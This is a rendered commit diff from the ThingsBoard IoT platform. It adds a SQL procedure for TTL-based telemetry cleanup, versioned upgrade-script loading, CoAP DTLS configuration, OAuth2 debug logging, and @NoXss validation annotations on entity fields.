Showing
76 changed files
with
2170 additions
and
396 deletions
1 | +-- | ||
2 | +-- Copyright © 2016-2021 The Thingsboard Authors | ||
3 | +-- | ||
4 | +-- Licensed under the Apache License, Version 2.0 (the "License"); | ||
5 | +-- you may not use this file except in compliance with the License. | ||
6 | +-- You may obtain a copy of the License at | ||
7 | +-- | ||
8 | +-- http://www.apache.org/licenses/LICENSE-2.0 | ||
9 | +-- | ||
10 | +-- Unless required by applicable law or agreed to in writing, software | ||
11 | +-- distributed under the License is distributed on an "AS IS" BASIS, | ||
12 | +-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. | ||
13 | +-- See the License for the specific language governing permissions and | ||
14 | +-- limitations under the License. | ||
15 | +-- | ||
16 | + | ||
17 | +CREATE OR REPLACE PROCEDURE cleanup_timeseries_by_ttl(IN null_uuid uuid, | ||
18 | + IN system_ttl bigint, INOUT deleted bigint) | ||
19 | + LANGUAGE plpgsql AS | ||
20 | +$$ | ||
21 | +DECLARE | ||
22 | +tenant_cursor CURSOR FOR select tenant.id as tenant_id | ||
23 | + from tenant; | ||
24 | + tenant_id_record uuid; | ||
25 | + customer_id_record uuid; | ||
26 | + tenant_ttl bigint; | ||
27 | + customer_ttl bigint; | ||
28 | + deleted_for_entities bigint; | ||
29 | + tenant_ttl_ts bigint; | ||
30 | + customer_ttl_ts bigint; | ||
31 | +BEGIN | ||
32 | +OPEN tenant_cursor; | ||
33 | +FETCH tenant_cursor INTO tenant_id_record; | ||
34 | +WHILE FOUND | ||
35 | + LOOP | ||
36 | + EXECUTE format( | ||
37 | + 'select attribute_kv.long_v from attribute_kv where attribute_kv.entity_id = %L and attribute_kv.attribute_key = %L', | ||
38 | + tenant_id_record, 'TTL') INTO tenant_ttl; | ||
39 | + if tenant_ttl IS NULL THEN | ||
40 | + tenant_ttl := system_ttl; | ||
41 | +END IF; | ||
42 | + IF tenant_ttl > 0 THEN | ||
43 | + tenant_ttl_ts := (EXTRACT(EPOCH FROM current_timestamp) * 1000 - tenant_ttl::bigint * 1000)::bigint; | ||
44 | + deleted_for_entities := delete_device_records_from_ts_kv(tenant_id_record, null_uuid, tenant_ttl_ts); | ||
45 | + deleted := deleted + deleted_for_entities; | ||
46 | + RAISE NOTICE '% telemetry removed for devices where tenant_id = %', deleted_for_entities, tenant_id_record; | ||
47 | + deleted_for_entities := delete_asset_records_from_ts_kv(tenant_id_record, null_uuid, tenant_ttl_ts); | ||
48 | + deleted := deleted + deleted_for_entities; | ||
49 | + RAISE NOTICE '% telemetry removed for assets where tenant_id = %', deleted_for_entities, tenant_id_record; | ||
50 | +END IF; | ||
51 | +FOR customer_id_record IN | ||
52 | +SELECT customer.id AS customer_id FROM customer WHERE customer.tenant_id = tenant_id_record | ||
53 | + LOOP | ||
54 | + EXECUTE format( | ||
55 | + 'select attribute_kv.long_v from attribute_kv where attribute_kv.entity_id = %L and attribute_kv.attribute_key = %L', | ||
56 | + customer_id_record, 'TTL') INTO customer_ttl; | ||
57 | +IF customer_ttl IS NULL THEN | ||
58 | + customer_ttl_ts := tenant_ttl_ts; | ||
59 | +ELSE | ||
60 | + IF customer_ttl > 0 THEN | ||
61 | + customer_ttl_ts := | ||
62 | + (EXTRACT(EPOCH FROM current_timestamp) * 1000 - | ||
63 | + customer_ttl::bigint * 1000)::bigint; | ||
64 | +END IF; | ||
65 | +END IF; | ||
66 | + IF customer_ttl_ts IS NOT NULL AND customer_ttl_ts > 0 THEN | ||
67 | + deleted_for_entities := | ||
68 | + delete_customer_records_from_ts_kv(tenant_id_record, customer_id_record, | ||
69 | + customer_ttl_ts); | ||
70 | + deleted := deleted + deleted_for_entities; | ||
71 | + RAISE NOTICE '% telemetry removed for customer with id = % where tenant_id = %', deleted_for_entities, customer_id_record, tenant_id_record; | ||
72 | + deleted_for_entities := | ||
73 | + delete_device_records_from_ts_kv(tenant_id_record, customer_id_record, | ||
74 | + customer_ttl_ts); | ||
75 | + deleted := deleted + deleted_for_entities; | ||
76 | + RAISE NOTICE '% telemetry removed for devices where tenant_id = % and customer_id = %', deleted_for_entities, tenant_id_record, customer_id_record; | ||
77 | + deleted_for_entities := delete_asset_records_from_ts_kv(tenant_id_record, | ||
78 | + customer_id_record, | ||
79 | + customer_ttl_ts); | ||
80 | + deleted := deleted + deleted_for_entities; | ||
81 | + RAISE NOTICE '% telemetry removed for assets where tenant_id = % and customer_id = %', deleted_for_entities, tenant_id_record, customer_id_record; | ||
82 | +END IF; | ||
83 | +END LOOP; | ||
84 | +FETCH tenant_cursor INTO tenant_id_record; | ||
85 | +END LOOP; | ||
86 | +END | ||
87 | +$$; |
@@ -19,11 +19,15 @@ import lombok.extern.slf4j.Slf4j; | @@ -19,11 +19,15 @@ import lombok.extern.slf4j.Slf4j; | ||
19 | import org.springframework.beans.factory.annotation.Autowired; | 19 | import org.springframework.beans.factory.annotation.Autowired; |
20 | import org.springframework.http.HttpStatus; | 20 | import org.springframework.http.HttpStatus; |
21 | import org.springframework.security.access.prepost.PreAuthorize; | 21 | import org.springframework.security.access.prepost.PreAuthorize; |
22 | -import org.springframework.web.bind.annotation.*; | 22 | +import org.springframework.web.bind.annotation.RequestBody; |
23 | +import org.springframework.web.bind.annotation.RequestMapping; | ||
24 | +import org.springframework.web.bind.annotation.RequestMethod; | ||
25 | +import org.springframework.web.bind.annotation.ResponseBody; | ||
26 | +import org.springframework.web.bind.annotation.ResponseStatus; | ||
27 | +import org.springframework.web.bind.annotation.RestController; | ||
23 | import org.thingsboard.server.common.data.exception.ThingsboardException; | 28 | import org.thingsboard.server.common.data.exception.ThingsboardException; |
24 | import org.thingsboard.server.common.data.oauth2.OAuth2ClientInfo; | 29 | import org.thingsboard.server.common.data.oauth2.OAuth2ClientInfo; |
25 | import org.thingsboard.server.common.data.oauth2.OAuth2ClientsParams; | 30 | import org.thingsboard.server.common.data.oauth2.OAuth2ClientsParams; |
26 | -import org.thingsboard.server.common.data.oauth2.SchemeType; | ||
27 | import org.thingsboard.server.dao.oauth2.OAuth2Configuration; | 31 | import org.thingsboard.server.dao.oauth2.OAuth2Configuration; |
28 | import org.thingsboard.server.queue.util.TbCoreComponent; | 32 | import org.thingsboard.server.queue.util.TbCoreComponent; |
29 | import org.thingsboard.server.service.security.permission.Operation; | 33 | import org.thingsboard.server.service.security.permission.Operation; |
@@ -31,6 +35,7 @@ import org.thingsboard.server.service.security.permission.Resource; | @@ -31,6 +35,7 @@ import org.thingsboard.server.service.security.permission.Resource; | ||
31 | import org.thingsboard.server.utils.MiscUtils; | 35 | import org.thingsboard.server.utils.MiscUtils; |
32 | 36 | ||
33 | import javax.servlet.http.HttpServletRequest; | 37 | import javax.servlet.http.HttpServletRequest; |
38 | +import java.util.Enumeration; | ||
34 | import java.util.List; | 39 | import java.util.List; |
35 | 40 | ||
36 | @RestController | 41 | @RestController |
@@ -46,6 +51,14 @@ public class OAuth2Controller extends BaseController { | @@ -46,6 +51,14 @@ public class OAuth2Controller extends BaseController { | ||
46 | @ResponseBody | 51 | @ResponseBody |
47 | public List<OAuth2ClientInfo> getOAuth2Clients(HttpServletRequest request) throws ThingsboardException { | 52 | public List<OAuth2ClientInfo> getOAuth2Clients(HttpServletRequest request) throws ThingsboardException { |
48 | try { | 53 | try { |
54 | + if (log.isDebugEnabled()) { | ||
55 | + log.debug("Executing getOAuth2Clients: [{}][{}][{}]", request.getScheme(), request.getServerName(), request.getServerPort()); | ||
56 | + Enumeration<String> headerNames = request.getHeaderNames(); | ||
57 | + while (headerNames.hasMoreElements()) { | ||
58 | + String header = headerNames.nextElement(); | ||
59 | + log.debug("Header: {} {}", header, request.getHeader(header)); | ||
60 | + } | ||
61 | + } | ||
49 | return oAuth2Service.getOAuth2Clients(MiscUtils.getScheme(request), MiscUtils.getDomainNameAndPort(request)); | 62 | return oAuth2Service.getOAuth2Clients(MiscUtils.getScheme(request), MiscUtils.getDomainNameAndPort(request)); |
50 | } catch (Exception e) { | 63 | } catch (Exception e) { |
51 | throw handleException(e); | 64 | throw handleException(e); |
@@ -50,7 +50,7 @@ public abstract class AbstractSqlTsDatabaseUpgradeService { | @@ -50,7 +50,7 @@ public abstract class AbstractSqlTsDatabaseUpgradeService { | ||
50 | @Autowired | 50 | @Autowired |
51 | protected InstallScripts installScripts; | 51 | protected InstallScripts installScripts; |
52 | 52 | ||
53 | - protected abstract void loadSql(Connection conn, String fileName); | 53 | + protected abstract void loadSql(Connection conn, String fileName, String version); |
54 | 54 | ||
55 | protected void loadFunctions(Path sqlFile, Connection conn) throws Exception { | 55 | protected void loadFunctions(Path sqlFile, Connection conn) throws Exception { |
56 | String sql = new String(Files.readAllBytes(sqlFile), StandardCharsets.UTF_8); | 56 | String sql = new String(Files.readAllBytes(sqlFile), StandardCharsets.UTF_8); |
@@ -94,7 +94,7 @@ public class PsqlTsDatabaseUpgradeService extends AbstractSqlTsDatabaseUpgradeSe | @@ -94,7 +94,7 @@ public class PsqlTsDatabaseUpgradeService extends AbstractSqlTsDatabaseUpgradeSe | ||
94 | log.info("PostgreSQL version is valid!"); | 94 | log.info("PostgreSQL version is valid!"); |
95 | if (isOldSchema(conn, 2004003)) { | 95 | if (isOldSchema(conn, 2004003)) { |
96 | log.info("Load upgrade functions ..."); | 96 | log.info("Load upgrade functions ..."); |
97 | - loadSql(conn, LOAD_FUNCTIONS_SQL); | 97 | + loadSql(conn, LOAD_FUNCTIONS_SQL, "2.4.3"); |
98 | log.info("Updating timeseries schema ..."); | 98 | log.info("Updating timeseries schema ..."); |
99 | executeQuery(conn, CALL_CREATE_PARTITION_TS_KV_TABLE); | 99 | executeQuery(conn, CALL_CREATE_PARTITION_TS_KV_TABLE); |
100 | if (!partitionType.equals("INDEFINITE")) { | 100 | if (!partitionType.equals("INDEFINITE")) { |
@@ -179,9 +179,9 @@ public class PsqlTsDatabaseUpgradeService extends AbstractSqlTsDatabaseUpgradeSe | @@ -179,9 +179,9 @@ public class PsqlTsDatabaseUpgradeService extends AbstractSqlTsDatabaseUpgradeSe | ||
179 | } | 179 | } |
180 | 180 | ||
181 | log.info("Load TTL functions ..."); | 181 | log.info("Load TTL functions ..."); |
182 | - loadSql(conn, LOAD_TTL_FUNCTIONS_SQL); | 182 | + loadSql(conn, LOAD_TTL_FUNCTIONS_SQL, "2.4.3"); |
183 | log.info("Load Drop Partitions functions ..."); | 183 | log.info("Load Drop Partitions functions ..."); |
184 | - loadSql(conn, LOAD_DROP_PARTITIONS_FUNCTIONS_SQL); | 184 | + loadSql(conn, LOAD_DROP_PARTITIONS_FUNCTIONS_SQL, "2.4.3"); |
185 | 185 | ||
186 | executeQuery(conn, "UPDATE tb_schema_settings SET schema_version = 2005000"); | 186 | executeQuery(conn, "UPDATE tb_schema_settings SET schema_version = 2005000"); |
187 | 187 | ||
@@ -199,9 +199,9 @@ public class PsqlTsDatabaseUpgradeService extends AbstractSqlTsDatabaseUpgradeSe | @@ -199,9 +199,9 @@ public class PsqlTsDatabaseUpgradeService extends AbstractSqlTsDatabaseUpgradeSe | ||
199 | case "3.2.1": | 199 | case "3.2.1": |
200 | try (Connection conn = DriverManager.getConnection(dbUrl, dbUserName, dbPassword)) { | 200 | try (Connection conn = DriverManager.getConnection(dbUrl, dbUserName, dbPassword)) { |
201 | log.info("Load TTL functions ..."); | 201 | log.info("Load TTL functions ..."); |
202 | - loadSql(conn, LOAD_TTL_FUNCTIONS_SQL); | 202 | + loadSql(conn, LOAD_TTL_FUNCTIONS_SQL, "2.4.3"); |
203 | log.info("Load Drop Partitions functions ..."); | 203 | log.info("Load Drop Partitions functions ..."); |
204 | - loadSql(conn, LOAD_DROP_PARTITIONS_FUNCTIONS_SQL); | 204 | + loadSql(conn, LOAD_DROP_PARTITIONS_FUNCTIONS_SQL, "2.4.3"); |
205 | 205 | ||
206 | executeQuery(conn, "DROP PROCEDURE IF EXISTS cleanup_timeseries_by_ttl(character varying, bigint, bigint);"); | 206 | executeQuery(conn, "DROP PROCEDURE IF EXISTS cleanup_timeseries_by_ttl(character varying, bigint, bigint);"); |
207 | executeQuery(conn, "DROP FUNCTION IF EXISTS delete_asset_records_from_ts_kv(character varying, character varying, bigint);"); | 207 | executeQuery(conn, "DROP FUNCTION IF EXISTS delete_asset_records_from_ts_kv(character varying, character varying, bigint);"); |
@@ -244,8 +244,8 @@ public class PsqlTsDatabaseUpgradeService extends AbstractSqlTsDatabaseUpgradeSe | @@ -244,8 +244,8 @@ public class PsqlTsDatabaseUpgradeService extends AbstractSqlTsDatabaseUpgradeSe | ||
244 | } | 244 | } |
245 | 245 | ||
246 | @Override | 246 | @Override |
247 | - protected void loadSql(Connection conn, String fileName) { | ||
248 | - Path schemaUpdateFile = Paths.get(installScripts.getDataDir(), "upgrade", "2.4.3", fileName); | 247 | + protected void loadSql(Connection conn, String fileName, String version) { |
248 | + Path schemaUpdateFile = Paths.get(installScripts.getDataDir(), "upgrade", version, fileName); | ||
249 | try { | 249 | try { |
250 | loadFunctions(schemaUpdateFile, conn); | 250 | loadFunctions(schemaUpdateFile, conn); |
251 | log.info("Functions successfully loaded!"); | 251 | log.info("Functions successfully loaded!"); |
@@ -89,7 +89,7 @@ public class TimescaleTsDatabaseUpgradeService extends AbstractSqlTsDatabaseUpgr | @@ -89,7 +89,7 @@ public class TimescaleTsDatabaseUpgradeService extends AbstractSqlTsDatabaseUpgr | ||
89 | log.info("PostgreSQL version is valid!"); | 89 | log.info("PostgreSQL version is valid!"); |
90 | if (isOldSchema(conn, 2004003)) { | 90 | if (isOldSchema(conn, 2004003)) { |
91 | log.info("Load upgrade functions ..."); | 91 | log.info("Load upgrade functions ..."); |
92 | - loadSql(conn, LOAD_FUNCTIONS_SQL); | 92 | + loadSql(conn, LOAD_FUNCTIONS_SQL, "2.4.3"); |
93 | log.info("Updating timescale schema ..."); | 93 | log.info("Updating timescale schema ..."); |
94 | executeQuery(conn, CALL_CREATE_TS_KV_LATEST_TABLE); | 94 | executeQuery(conn, CALL_CREATE_TS_KV_LATEST_TABLE); |
95 | executeQuery(conn, CALL_CREATE_NEW_TENANT_TS_KV_TABLE); | 95 | executeQuery(conn, CALL_CREATE_NEW_TENANT_TS_KV_TABLE); |
@@ -165,7 +165,7 @@ public class TimescaleTsDatabaseUpgradeService extends AbstractSqlTsDatabaseUpgr | @@ -165,7 +165,7 @@ public class TimescaleTsDatabaseUpgradeService extends AbstractSqlTsDatabaseUpgr | ||
165 | } | 165 | } |
166 | 166 | ||
167 | log.info("Load TTL functions ..."); | 167 | log.info("Load TTL functions ..."); |
168 | - loadSql(conn, LOAD_TTL_FUNCTIONS_SQL); | 168 | + loadSql(conn, LOAD_TTL_FUNCTIONS_SQL, "2.4.3"); |
169 | 169 | ||
170 | executeQuery(conn, "UPDATE tb_schema_settings SET schema_version = 2005000"); | 170 | executeQuery(conn, "UPDATE tb_schema_settings SET schema_version = 2005000"); |
171 | log.info("schema timescale updated!"); | 171 | log.info("schema timescale updated!"); |
@@ -178,7 +178,11 @@ public class TimescaleTsDatabaseUpgradeService extends AbstractSqlTsDatabaseUpgr | @@ -178,7 +178,11 @@ public class TimescaleTsDatabaseUpgradeService extends AbstractSqlTsDatabaseUpgr | ||
178 | } | 178 | } |
179 | break; | 179 | break; |
180 | case "3.1.1": | 180 | case "3.1.1": |
181 | + break; | ||
181 | case "3.2.1": | 182 | case "3.2.1": |
183 | + try (Connection conn = DriverManager.getConnection(dbUrl, dbUserName, dbPassword)) { | ||
184 | + loadSql(conn, LOAD_TTL_FUNCTIONS_SQL, "3.2.1"); | ||
185 | + } | ||
182 | break; | 186 | break; |
183 | default: | 187 | default: |
184 | throw new RuntimeException("Unable to upgrade SQL database, unsupported fromVersion: " + fromVersion); | 188 | throw new RuntimeException("Unable to upgrade SQL database, unsupported fromVersion: " + fromVersion); |
@@ -201,8 +205,8 @@ public class TimescaleTsDatabaseUpgradeService extends AbstractSqlTsDatabaseUpgr | @@ -201,8 +205,8 @@ public class TimescaleTsDatabaseUpgradeService extends AbstractSqlTsDatabaseUpgr | ||
201 | } | 205 | } |
202 | 206 | ||
203 | @Override | 207 | @Override |
204 | - protected void loadSql(Connection conn, String fileName) { | ||
205 | - Path schemaUpdateFile = Paths.get(installScripts.getDataDir(), "upgrade", "2.4.3", fileName); | 208 | + protected void loadSql(Connection conn, String fileName, String version) { |
209 | + Path schemaUpdateFile = Paths.get(installScripts.getDataDir(), "upgrade", version, fileName); | ||
206 | try { | 210 | try { |
207 | loadFunctions(schemaUpdateFile, conn); | 211 | loadFunctions(schemaUpdateFile, conn); |
208 | log.info("Functions successfully loaded!"); | 212 | log.info("Functions successfully loaded!"); |
@@ -586,6 +586,24 @@ transport: | @@ -586,6 +586,24 @@ transport: | ||
586 | bind_address: "${COAP_BIND_ADDRESS:0.0.0.0}" | 586 | bind_address: "${COAP_BIND_ADDRESS:0.0.0.0}" |
587 | bind_port: "${COAP_BIND_PORT:5683}" | 587 | bind_port: "${COAP_BIND_PORT:5683}" |
588 | timeout: "${COAP_TIMEOUT:10000}" | 588 | timeout: "${COAP_TIMEOUT:10000}" |
589 | + dtls: | ||
590 | + # Enable/disable DTLS 1.2 support | ||
591 | + enabled: "${COAP_DTLS_ENABLED:false}" | ||
592 | + # Secure mode. Allowed values: NO_AUTH, X509 | ||
593 | + mode: "${COAP_DTLS_SECURE_MODE:NO_AUTH}" | ||
594 | + # Path to the key store that holds the certificate | ||
595 | + key_store: "${COAP_DTLS_KEY_STORE:coapserver.jks}" | ||
596 | + # Password used to access the key store | ||
597 | + key_store_password: "${COAP_DTLS_KEY_STORE_PASSWORD:server_ks_password}" | ||
598 | + # Password used to access the key | ||
599 | + key_password: "${COAP_DTLS_KEY_PASSWORD:server_key_password}" | ||
600 | + # Key alias | ||
601 | + key_alias: "${COAP_DTLS_KEY_ALIAS:serveralias}" | ||
602 | + # Skip certificate validity check for client certificates. | ||
603 | + skip_validity_check_for_client_cert: "${COAP_DTLS_SKIP_VALIDITY_CHECK_FOR_CLIENT_CERT:false}" | ||
604 | + x509: | ||
605 | + dtls_session_inactivity_timeout: "${TB_COAP_X509_DTLS_SESSION_INACTIVITY_TIMEOUT:86400000}" | ||
606 | + dtls_session_report_timeout: "${TB_COAP_X509_DTLS_SESSION_REPORT_TIMEOUT:1800000}" | ||
589 | # Local LwM2M transport parameters | 607 | # Local LwM2M transport parameters |
590 | lwm2m: | 608 | lwm2m: |
591 | # Enable/disable lvm2m transport protocol. | 609 | # Enable/disable lvm2m transport protocol. |
@@ -37,6 +37,14 @@ | @@ -37,6 +37,14 @@ | ||
37 | 37 | ||
38 | <dependencies> | 38 | <dependencies> |
39 | <dependency> | 39 | <dependency> |
40 | + <groupId>javax.validation</groupId> | ||
41 | + <artifactId>validation-api</artifactId> | ||
42 | + </dependency> | ||
43 | + <dependency> | ||
44 | + <groupId>org.owasp.antisamy</groupId> | ||
45 | + <artifactId>antisamy</artifactId> | ||
46 | + </dependency> | ||
47 | + <dependency> | ||
40 | <groupId>org.slf4j</groupId> | 48 | <groupId>org.slf4j</groupId> |
41 | <artifactId>slf4j-api</artifactId> | 49 | <artifactId>slf4j-api</artifactId> |
42 | </dependency> | 50 | </dependency> |
@@ -18,11 +18,13 @@ package org.thingsboard.server.common.data; | @@ -18,11 +18,13 @@ package org.thingsboard.server.common.data; | ||
18 | import org.thingsboard.server.common.data.id.AdminSettingsId; | 18 | import org.thingsboard.server.common.data.id.AdminSettingsId; |
19 | 19 | ||
20 | import com.fasterxml.jackson.databind.JsonNode; | 20 | import com.fasterxml.jackson.databind.JsonNode; |
21 | +import org.thingsboard.server.common.data.validation.NoXss; | ||
21 | 22 | ||
22 | public class AdminSettings extends BaseData<AdminSettingsId> { | 23 | public class AdminSettings extends BaseData<AdminSettingsId> { |
23 | 24 | ||
24 | private static final long serialVersionUID = -7670322981725511892L; | 25 | private static final long serialVersionUID = -7670322981725511892L; |
25 | - | 26 | + |
27 | + @NoXss | ||
26 | private String key; | 28 | private String key; |
27 | private transient JsonNode jsonValue; | 29 | private transient JsonNode jsonValue; |
28 | 30 |
@@ -17,19 +17,28 @@ package org.thingsboard.server.common.data; | @@ -17,19 +17,28 @@ package org.thingsboard.server.common.data; | ||
17 | 17 | ||
18 | import lombok.EqualsAndHashCode; | 18 | import lombok.EqualsAndHashCode; |
19 | import org.thingsboard.server.common.data.id.UUIDBased; | 19 | import org.thingsboard.server.common.data.id.UUIDBased; |
20 | +import org.thingsboard.server.common.data.validation.NoXss; | ||
20 | 21 | ||
21 | @EqualsAndHashCode(callSuper = true) | 22 | @EqualsAndHashCode(callSuper = true) |
22 | public abstract class ContactBased<I extends UUIDBased> extends SearchTextBasedWithAdditionalInfo<I> implements HasName { | 23 | public abstract class ContactBased<I extends UUIDBased> extends SearchTextBasedWithAdditionalInfo<I> implements HasName { |
23 | 24 | ||
24 | private static final long serialVersionUID = 5047448057830660988L; | 25 | private static final long serialVersionUID = 5047448057830660988L; |
25 | - | 26 | + |
27 | + @NoXss | ||
26 | protected String country; | 28 | protected String country; |
29 | + @NoXss | ||
27 | protected String state; | 30 | protected String state; |
31 | + @NoXss | ||
28 | protected String city; | 32 | protected String city; |
33 | + @NoXss | ||
29 | protected String address; | 34 | protected String address; |
35 | + @NoXss | ||
30 | protected String address2; | 36 | protected String address2; |
37 | + @NoXss | ||
31 | protected String zip; | 38 | protected String zip; |
39 | + @NoXss | ||
32 | protected String phone; | 40 | protected String phone; |
41 | + @NoXss | ||
33 | protected String email; | 42 | protected String email; |
34 | 43 | ||
35 | public ContactBased() { | 44 | public ContactBased() { |
@@ -20,13 +20,13 @@ import com.fasterxml.jackson.annotation.JsonProperty; | @@ -20,13 +20,13 @@ import com.fasterxml.jackson.annotation.JsonProperty; | ||
20 | import com.fasterxml.jackson.annotation.JsonProperty.Access; | 20 | import com.fasterxml.jackson.annotation.JsonProperty.Access; |
21 | import org.thingsboard.server.common.data.id.CustomerId; | 21 | import org.thingsboard.server.common.data.id.CustomerId; |
22 | import org.thingsboard.server.common.data.id.TenantId; | 22 | import org.thingsboard.server.common.data.id.TenantId; |
23 | - | ||
24 | -import com.fasterxml.jackson.databind.JsonNode; | 23 | +import org.thingsboard.server.common.data.validation.NoXss; |
25 | 24 | ||
26 | public class Customer extends ContactBased<CustomerId> implements HasTenantId { | 25 | public class Customer extends ContactBased<CustomerId> implements HasTenantId { |
27 | 26 | ||
28 | private static final long serialVersionUID = -1599722990298929275L; | 27 | private static final long serialVersionUID = -1599722990298929275L; |
29 | - | 28 | + |
29 | + @NoXss | ||
30 | private String title; | 30 | private String title; |
31 | private TenantId tenantId; | 31 | private TenantId tenantId; |
32 | 32 |
@@ -24,6 +24,7 @@ import org.thingsboard.server.common.data.id.CustomerId; | @@ -24,6 +24,7 @@ import org.thingsboard.server.common.data.id.CustomerId; | ||
24 | import org.thingsboard.server.common.data.id.DeviceId; | 24 | import org.thingsboard.server.common.data.id.DeviceId; |
25 | import org.thingsboard.server.common.data.id.DeviceProfileId; | 25 | import org.thingsboard.server.common.data.id.DeviceProfileId; |
26 | import org.thingsboard.server.common.data.id.TenantId; | 26 | import org.thingsboard.server.common.data.id.TenantId; |
27 | +import org.thingsboard.server.common.data.validation.NoXss; | ||
27 | 28 | ||
28 | import java.io.ByteArrayInputStream; | 29 | import java.io.ByteArrayInputStream; |
29 | import java.io.IOException; | 30 | import java.io.IOException; |
@@ -36,8 +37,11 @@ public class Device extends SearchTextBasedWithAdditionalInfo<DeviceId> implemen | @@ -36,8 +37,11 @@ public class Device extends SearchTextBasedWithAdditionalInfo<DeviceId> implemen | ||
36 | 37 | ||
37 | private TenantId tenantId; | 38 | private TenantId tenantId; |
38 | private CustomerId customerId; | 39 | private CustomerId customerId; |
40 | + @NoXss | ||
39 | private String name; | 41 | private String name; |
42 | + @NoXss | ||
40 | private String type; | 43 | private String type; |
44 | + @NoXss | ||
41 | private String label; | 45 | private String label; |
42 | private DeviceProfileId deviceProfileId; | 46 | private DeviceProfileId deviceProfileId; |
43 | private transient DeviceData deviceData; | 47 | private transient DeviceData deviceData; |
@@ -24,7 +24,9 @@ import org.thingsboard.server.common.data.device.profile.DeviceProfileData; | @@ -24,7 +24,9 @@ import org.thingsboard.server.common.data.device.profile.DeviceProfileData; | ||
24 | import org.thingsboard.server.common.data.id.DeviceProfileId; | 24 | import org.thingsboard.server.common.data.id.DeviceProfileId; |
25 | import org.thingsboard.server.common.data.id.RuleChainId; | 25 | import org.thingsboard.server.common.data.id.RuleChainId; |
26 | import org.thingsboard.server.common.data.id.TenantId; | 26 | import org.thingsboard.server.common.data.id.TenantId; |
27 | +import org.thingsboard.server.common.data.validation.NoXss; | ||
27 | 28 | ||
29 | +import javax.validation.Valid; | ||
28 | import java.io.ByteArrayInputStream; | 30 | import java.io.ByteArrayInputStream; |
29 | import java.io.IOException; | 31 | import java.io.IOException; |
30 | 32 | ||
@@ -36,17 +38,22 @@ import static org.thingsboard.server.common.data.SearchTextBasedWithAdditionalIn | @@ -36,17 +38,22 @@ import static org.thingsboard.server.common.data.SearchTextBasedWithAdditionalIn | ||
36 | public class DeviceProfile extends SearchTextBased<DeviceProfileId> implements HasName, HasTenantId { | 38 | public class DeviceProfile extends SearchTextBased<DeviceProfileId> implements HasName, HasTenantId { |
37 | 39 | ||
38 | private TenantId tenantId; | 40 | private TenantId tenantId; |
41 | + @NoXss | ||
39 | private String name; | 42 | private String name; |
43 | + @NoXss | ||
40 | private String description; | 44 | private String description; |
41 | private boolean isDefault; | 45 | private boolean isDefault; |
42 | private DeviceProfileType type; | 46 | private DeviceProfileType type; |
43 | private DeviceTransportType transportType; | 47 | private DeviceTransportType transportType; |
44 | private DeviceProfileProvisionType provisionType; | 48 | private DeviceProfileProvisionType provisionType; |
45 | private RuleChainId defaultRuleChainId; | 49 | private RuleChainId defaultRuleChainId; |
50 | + @NoXss | ||
46 | private String defaultQueueName; | 51 | private String defaultQueueName; |
52 | + @Valid | ||
47 | private transient DeviceProfileData profileData; | 53 | private transient DeviceProfileData profileData; |
48 | @JsonIgnore | 54 | @JsonIgnore |
49 | private byte[] profileDataBytes; | 55 | private byte[] profileDataBytes; |
56 | + @NoXss | ||
50 | private String provisionDeviceKey; | 57 | private String provisionDeviceKey; |
51 | 58 | ||
52 | public DeviceProfile() { | 59 | public DeviceProfile() { |
@@ -23,6 +23,7 @@ import org.thingsboard.server.common.data.id.EntityId; | @@ -23,6 +23,7 @@ import org.thingsboard.server.common.data.id.EntityId; | ||
23 | import org.thingsboard.server.common.data.id.EntityViewId; | 23 | import org.thingsboard.server.common.data.id.EntityViewId; |
24 | import org.thingsboard.server.common.data.id.TenantId; | 24 | import org.thingsboard.server.common.data.id.TenantId; |
25 | import org.thingsboard.server.common.data.objects.TelemetryEntityView; | 25 | import org.thingsboard.server.common.data.objects.TelemetryEntityView; |
26 | +import org.thingsboard.server.common.data.validation.NoXss; | ||
26 | 27 | ||
27 | /** | 28 | /** |
28 | * Created by Victor Basanets on 8/27/2017. | 29 | * Created by Victor Basanets on 8/27/2017. |
@@ -39,7 +40,9 @@ public class EntityView extends SearchTextBasedWithAdditionalInfo<EntityViewId> | @@ -39,7 +40,9 @@ public class EntityView extends SearchTextBasedWithAdditionalInfo<EntityViewId> | ||
39 | private EntityId entityId; | 40 | private EntityId entityId; |
40 | private TenantId tenantId; | 41 | private TenantId tenantId; |
41 | private CustomerId customerId; | 42 | private CustomerId customerId; |
43 | + @NoXss | ||
42 | private String name; | 44 | private String name; |
45 | + @NoXss | ||
43 | private String type; | 46 | private String type; |
44 | private TelemetryEntityView keys; | 47 | private TelemetryEntityView keys; |
45 | private long startTimeMs; | 48 | private long startTimeMs; |
@@ -20,13 +20,16 @@ import com.fasterxml.jackson.annotation.JsonProperty; | @@ -20,13 +20,16 @@ import com.fasterxml.jackson.annotation.JsonProperty; | ||
20 | import lombok.EqualsAndHashCode; | 20 | import lombok.EqualsAndHashCode; |
21 | import org.thingsboard.server.common.data.id.TenantId; | 21 | import org.thingsboard.server.common.data.id.TenantId; |
22 | import org.thingsboard.server.common.data.id.TenantProfileId; | 22 | import org.thingsboard.server.common.data.id.TenantProfileId; |
23 | +import org.thingsboard.server.common.data.validation.NoXss; | ||
23 | 24 | ||
24 | @EqualsAndHashCode(callSuper = true) | 25 | @EqualsAndHashCode(callSuper = true) |
25 | public class Tenant extends ContactBased<TenantId> implements HasTenantId { | 26 | public class Tenant extends ContactBased<TenantId> implements HasTenantId { |
26 | 27 | ||
27 | private static final long serialVersionUID = 8057243243859922101L; | 28 | private static final long serialVersionUID = 8057243243859922101L; |
28 | - | 29 | + |
30 | + @NoXss | ||
29 | private String title; | 31 | private String title; |
32 | + @NoXss | ||
30 | private String region; | 33 | private String region; |
31 | private TenantProfileId tenantProfileId; | 34 | private TenantProfileId tenantProfileId; |
32 | 35 |
@@ -23,6 +23,7 @@ import lombok.extern.slf4j.Slf4j; | @@ -23,6 +23,7 @@ import lombok.extern.slf4j.Slf4j; | ||
23 | import org.thingsboard.server.common.data.id.TenantProfileId; | 23 | import org.thingsboard.server.common.data.id.TenantProfileId; |
24 | import org.thingsboard.server.common.data.tenant.profile.DefaultTenantProfileConfiguration; | 24 | import org.thingsboard.server.common.data.tenant.profile.DefaultTenantProfileConfiguration; |
25 | import org.thingsboard.server.common.data.tenant.profile.TenantProfileData; | 25 | import org.thingsboard.server.common.data.tenant.profile.TenantProfileData; |
26 | +import org.thingsboard.server.common.data.validation.NoXss; | ||
26 | 27 | ||
27 | import java.io.ByteArrayInputStream; | 28 | import java.io.ByteArrayInputStream; |
28 | import java.io.IOException; | 29 | import java.io.IOException; |
